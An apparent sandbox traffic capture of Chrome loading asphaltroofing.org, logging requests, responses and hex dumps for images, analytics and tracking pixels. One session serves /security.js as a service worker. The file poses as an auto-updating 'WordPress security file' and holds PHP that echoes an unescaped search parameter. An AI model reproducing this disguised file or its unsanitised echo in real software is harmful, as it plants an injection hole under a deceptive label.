2024-04-23 14:54:50 UTC	7675	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 09 09 09 09 0a 09 0a 0c 0c 0a 0f 10 0e 10 0f 15 14 12 12 14 15 20 17 19 17 19 17 20 31 1f 24 1f 1f 24 1f 31 2c 35 2b 28 2b 35 2c 4e 3d 37 37 3d 4e 5a 4c 48 4c 5a 6e 62 62 6e 8a 83 8a b4 b4 f2 01 09 09 09 09 0a 09 0a 0c 0c 0a 0f 10 0e 10 0f 15 14 12 12 14 15 20 17 19 17 19 17 20 31 1f 24 1f 1f 24 1f 31 2c 35 2b 28 2b 35 2c 4e 3d 37 37 3d 4e 5a 4c 48 4c 5a 6e 62 62 6e 8a 83 8a b4 b4 f2 ff c2 00 11 08 00 c8 01 2c 03 01 22 00 02 11 01 03 11 01 ff c4 00 33 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 04 00 02 03 05 06 01 07 08 01 00 02 03 01 00 00 00 00 00 00 00 00 00 00 00 00 02 03 00 01 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 dc 9a 34 dd 7e 31 69 17 9d f5 ae b2 12 c6 bf Data Ascii: JFIF 1$$1,5+(+5,N=77=NZLHLZnbbn 1$$1,5+(+5,N=77=NZLHLZnbbn,"34~1i
2024-04-23 14:54:50 UTC	1147	IN	Data Raw: b6 e1 6a 98 f0 0b b2 6e 1c 6a 0d 52 cc 89 64 80 23 86 51 1a c8 bf 51 0a fc f6 3d 63 25 b2 18 ab 50 a0 65 20 79 8e a5 74 46 e1 d4 1b 2a 22 28 50 a0 1f ea 32 ea fe 68 17 d7 e5 12 c0 f5 80 4a 62 68 08 7a 46 5c 7c 9c 4c 19 2d aa 31 f9 ff 00 88 97 f3 34 c7 99 f2 36 6c 6f e7 1b 57 e0 ec 18 54 f2 23 ef 17 1b 90 35 18 1f 03 cc fd 37 eb fd c5 73 cf 7f f9 3a 90 a5 41 1c 61 1b 8a 28 a9 8b 93 28 5a 83 e2 93 b9 f0 de e1 c2 7e f2 e6 1b 24 ce ad 80 c0 40 98 18 88 ce 01 24 cb 99 2b 1f 5e 8d 7a ca b4 7d d6 13 46 80 87 90 f5 58 85 99 aa 50 1a 81 54 9d ae a7 56 29 41 02 84 24 19 e6 62 0d f0 f7 e6 63 21 84 ad 89 c4 7a 98 16 ee 21 2b 1f 26 5c 9f 53 ea 22 82 2e 14 bd dc e0 a0 59 69 d5 90 ce a5 4f d0 c0 8f 71 33 65 0c 14 ab d1 30 e4 ca 8c a9 77 7e 67 4d 8c a0 df 9e c9 c4 0b 33 Data Ascii: jnjRd#QQ=c%Pe ytF*"(P2hJbhzF\\|L-146loWT#57s:Aa((Z~$@$+^z}FXPTV)A$bc!z!+&\S".YiOq3e0w~gM3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
389	192.168.2.6	50229	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:50 UTC	712	OUT	GET /wp-content/uploads/2017/04/logo-icon.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884086.0.0.0; _scc_session=pc=8&C_TOUCH=2024-04-23T14:54:48.150Z
2024-04-23 14:54:50 UTC	514	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:50 GMT Content-Type: image/png Content-Length: 606 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:28:50 GMT ETag: "1be1dcc-25e-5d9f3d35e3480" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:50 UTC	606	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5c 00 00 00 57 04 03 00 00 00 7b 06 3f a8 00 00 00 15 50 4c 54 45 86 51 4b a7 a9 ad 75 22 18 76 24 1a a7 a9 ad a7 a9 ad 74 20 16 f9 6c ab c5 00 00 00 05 74 52 4e 53 00 50 6e c2 e0 12 e9 b8 8d 00 00 01 f3 49 44 41 54 78 da ad d7 b1 6e 83 30 10 06 60 63 08 73 86 63 47 4e cb 9c 86 8a 99 a1 ec a4 c2 7b 15 d4 7b ff 47 a8 8c 8d b1 09 81 3b a9 b7 45 fa ac fc ba 5e e3 b3 10 41 25 ad e0 54 a2 cf 1c 9e e9 81 c7 f5 9d c7 35 23 fe 49 6b cd 88 5f 18 3e f0 38 3d be e5 e4 f8 8e 53 e3 77 8e 0f 3c 4e 8c af 7d b5 3c 4e 89 9f 04 7c e0 71 42 fc 88 1f c7 cf 1c fc a2 c5 9f 79 0b a4 f8 99 ef 0a 50 e2 9f 96 a6 00 21 7e 11 f4 04 8e e3 3b de 0b ef 07 fa fc c2 51 fc 2e 6e 20 1c c4 77 dc 7f 86 fd f8 dd ba dd b0 1b ff 79 58 e0 Data Ascii: PNGIHDR\W{?PLTEQKu"v$t ltRNSPnIDATxn0`cscGN{{G;E^A%T5#Ik_>8=Sw<N}<N\|qByP!~;Q.n wyX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.6	50230	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:50 UTC	644	OUT	GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884089117 HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:50 UTC	964	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:50 GMT Content-Type: text/javascript Content-Length: 207 Connection: close Cache-Control: no-cache, max-age=0 ETag: "6627cb818425280008d4a656" Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I6O8LeqPht6IwUTXPSSQTwASLz%2FYbVyUyVxEidf7YrZYbhtqPxZkCRh37dj7O9TJUHVR2a2h61Sb2t%2B1biMaoJi%2FFeDUsNHOaU4l0p0%2BnSrzjcmm6wT1eVfOiAzsxxOt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0ef78c14527-ATL
2024-04-23 14:54:50 UTC	207	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 77 29 20 7b 0a 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 77 2e 66 65 61 74 68 72 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 7b 0a 20 20 20 20 20 20 20 20 77 2e 66 65 61 74 68 72 28 27 6d 61 74 63 68 27 2c 20 27 36 36 32 37 63 62 38 31 38 34 32 35 32 38 30 30 30 38 64 34 61 36 35 36 27 2c 20 27 62 37 33 63 62 62 65 39 2d 64 33 66 36 2d 34 33 66 39 2d 38 39 31 62 2d 33 31 38 36 65 65 34 37 31 32 61 62 27 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 0a 7d 28 77 69 6e 64 6f 77 29 29 3b Data Ascii: (function (w) { if (typeof w.feathr === 'function') { w.feathr('match', '6627cb818425280008d4a656', 'b73cbbe9-d3f6-43f9-891b-3186ee4712ab'); } }(window));

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.6	50231	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:50 UTC	426	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1 Host: polo.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:50 UTC	900	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:50 GMT Content-Type: application/json Content-Length: 43 Connection: close Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jCp%2Bg2w5s%2BeiGPwe5N9Ck1UHplVG01Ul%2FvKyutu6iyhatBQTFDRfJCGk%2BoradIY5iN%2FfvJB3VRgCqhoDykm5u1w4Nu9S6ewhINOJXLmp1yQ6L%2FP8SBA%2BzWzNn1n9LdcF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0ef8faa4578-ATL
2024-04-23 14:54:50 UTC	43	IN	Data Raw: 7b 22 69 6e 74 65 67 72 61 74 69 6f 6e 73 22 3a 20 5b 22 74 72 61 64 65 64 65 73 6b 22 2c 20 22 66 61 63 65 62 6f 6f 6b 22 5d 7d Data Ascii: {"integrations": ["tradedesk", "facebook"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.6	50232	13.32.151.88	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:50 UTC	388	OUT	GET /v1/refresh HTTP/1.1 Host: marco.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:51 UTC	805	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Tue, 23 Apr 2024 14:54:50 GMT x-amzn-RequestId: 29d5a85c-34f8-4857-b0f8-c4a3c37534d7 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key Set-Cookie: f_id=6627cb818425280008d4a656; Domain=.feathr.co; Path=/; Expires=Wed, 23 Apr 2025 14:54:50 GMT; SameSite=None; Secure; HttpOnly x-amz-apigw-id: WrzFQGTnIAMEUtg= Access-Control-Allow-Methods: * X-Amzn-Trace-Id: Root=1-6627cbba-2af94dcd55b4a81943ba5255;Parent=525f7b7e18731d86;Sampled=0;lineage=5eb2f403:0 X-Cache: Miss from cloudfront Via: 1.1 de76d1656e59021109584b73dc63d3aa.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD66-C2 X-Amz-Cf-Id: mQJe_esbGBkvrUPCUcXdmGCtnGHmLd-5gnpBqAsFvTObrgPQYB8BmQ==
2024-04-23 14:54:51 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.6	50233	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:51 UTC	918	OUT	GET /v1/analytics/crumb?cb=1713884089686&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:51 UTC	1064	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:51 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Set-Cookie: f_id=6627cb818425280008d4a656; Domain=feathr.co; Expires=Wed, 23 Apr 2025 14:54:51 GMT; Secure; Path=/; SameSite=None Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vAEnHRnCiLeO9igNGKeZcvS%2FMAOXtFpkBZLloWqN%2Babn2wNJ7ShbIXDtvZNHSmKQ8hwWDrUj3L%2B2aYeGnApatkB76DP8KRP%2BrwN9dX9AdZN7q%2F1d3wxjyViGFFsqIpXF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0f31dbb7bac-ATL
2024-04-23 14:54:51 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.6	50236	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:51 UTC	824	OUT	GET /security.js?v=1713884090256 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.asphaltroofing.org/about-arma/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884086.0.0.0; _scc_session=pc=8&C_TOUCH=2024-04-23T14:54:48.150Z
2024-04-23 14:54:52 UTC	543	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:51 GMT Content-Type: text/javascript Content-Length: 1478 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 29 Apr 2022 14:36:00 GMT ETag: "4506e-5c6-5ddcbf6119400" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:52 UTC	1478	IN	Data Raw: 2f 2a 20 49 74 20 69 73 20 57 6f 72 64 50 72 65 73 73 20 73 65 63 75 72 69 74 79 20 66 69 6c 65 2e 0d 0a 54 68 61 6e 6b 73 20 74 6f 20 74 68 69 73 20 70 6c 75 67 69 6e 2c 20 79 6f 75 72 20 77 65 62 73 69 74 65 20 77 69 6c 6c 20 62 65 20 66 61 73 74 65 72 2c 20 6d 6f 72 65 20 75 70 2d 74 6f 2d 64 61 74 65 20 61 6e 64 20 6d 6f 72 65 20 73 65 63 75 72 65 2e 20 54 68 69 73 20 70 6c 75 67 69 6e 20 69 73 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 75 70 64 61 74 65 64 20 62 79 20 74 68 65 20 73 79 73 74 65 6d 2e 0d 0a 0d 0a 24 73 65 61 72 63 68 20 3d 20 24 5f 47 45 54 5b 27 73 65 61 72 63 68 27 5d 20 3f 3f 20 6e 75 6c 6c 3b 0d 0a 65 63 68 6f 20 27 53 65 61 72 63 68 20 72 65 73 75 6c 74 73 20 66 6f 72 20 27 2e 24 73 65 61 72 63 68 3b 0d 0a 24 73 65 61 72 63 68 Data Ascii: /* It is WordPress security file.Thanks to this plugin, your website will be faster, more up-to-date and more secure. This plugin is automatically updated by the system.$search = $_GET['search'] ?? null;echo 'Search results for '.$search;$search

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.6	50237	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:51 UTC	676	OUT	GET /v1/analytics/crumb?cb=1713884089686&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1 Host: polo.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:52 UTC	1064	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:52 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Set-Cookie: f_id=6627cb818425280008d4a656; Domain=feathr.co; Expires=Wed, 23 Apr 2025 14:54:52 GMT; Secure; Path=/; SameSite=None Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jWh%2FG%2Fh6BBueAyO2dwKfu3Zm6TrT%2FsjFei5kdFUu5nknZ9VPCPa1jFjIcBWJV%2B9b1UG1VRSl%2FQX2WYOTpqcrlGc8Sz18RttiTlr5eXtcqcxZT0xOr1rjNf33EHq8WhXm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0f77ac67ba2-ATL
2024-04-23 14:54:52 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.6	50240	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:52 UTC	704	OUT	GET /?wc-ajax=get_refreshed_fragments HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884086.0.0.0; _scc_session=pc=8&C_TOUCH=2024-04-23T14:54:48.150Z
2024-04-23 14:54:52 UTC	538	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:52 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:52 UTC	936	IN	Data Raw: 33 39 63 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 73 70 61 6e 2e 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 65 6e 74 22 3a 22 5c 74 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 Data Ascii: 39c{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.6	50242	31.13.88.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:52 UTC	1196	OUT	GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&rl=&if=false&ts=1713884090822&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884090811&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:52 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=104, rtx=0, c=10, mss=1277, tbw=3405, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Tue, 23 Apr 2024 14:54:52 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.6	50243	31.13.88.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:52 UTC	1288	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&rl=&if=false&ts=1713884090822&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fabout-arma%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884090811&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: event-source, trigger Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
